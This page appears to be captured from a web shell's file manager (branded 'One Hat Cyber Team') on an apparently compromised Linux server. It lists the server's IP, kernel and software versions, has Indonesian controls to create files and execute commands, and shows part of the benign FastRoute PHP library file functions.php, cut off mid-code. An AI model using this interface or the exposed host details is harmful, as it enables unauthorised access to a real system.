⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.247
Server IP:
45.79.8.107
Server:
Linux localhost 5.15.0-140-generic #150-Ubuntu SMP Sat Apr 12 06:00:09 UTC 2025 x86_64
Server Software:
nginx/1.18.0
PHP Version:
8.1.2-1ubuntu2.21
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
proc
/
self
/
root
/
usr
/
share
/
php
/
FastRoute
/
View File Name :
functions.php
'FastRoute\\RouteParser\\Std', 'dataGenerator' => 'FastRoute\\DataGenerator\\GroupCountBased', 'dispatcher' => 'FastRoute\\Dispatcher\\GroupCountBased', 'routeCollector' => 'FastRoute\\RouteCollector', ]; /** @var RouteCollector $routeCollector */ $routeCollector = new $options['routeCollector']( new $options['routeParser'], new $options['dataGenerator'] ); $routeDefinitionCallback($routeCollector); return new $options['dispatcher']($routeCollector->getData()); } /** * @param callable $routeDefinitionCallback * @param array $options * * @return Dispatcher */ function cachedDispatcher(callable $routeDefinitionCallback, array $options = []) { $options += [ 'routeParser' => 'FastRoute\\RouteParser\\Std', 'dataGenerator' => 'FastRoute\\DataGenerator\\GroupCountBased', 'dispatcher' => 'FastRoute\\Dispatcher\\GroupCountBased', 'routeCollector' => 'FastRoute\\RouteCollector', 'cacheDisabled' => false, ]; if (!isset($options['cacheFile'])) { throw new \LogicException('Must specify "cacheFile" option'); } if (!$options['cacheDisabled'] && file_exists($options['cacheFile'])) { $dispatchData = require $options['cacheFile']; if (!is_array($dispatchData)) { throw new \RuntimeException('Invalid cache file "' . $options['cacheFile'] . '"'); } return new $options['dispatcher']($dispatchData); } $routeCollector = new $options['routeCollector']( new $options['routeParser'], new $options['dataGenerator'] ); $routeDefinitionCallback($routeCollector); /** @var RouteCollector $routeCollector */ $dispatchData = $routeCollector->getData(); if (!$options['cacheDisabled']) { file_put_contents( $options['cacheFile'], '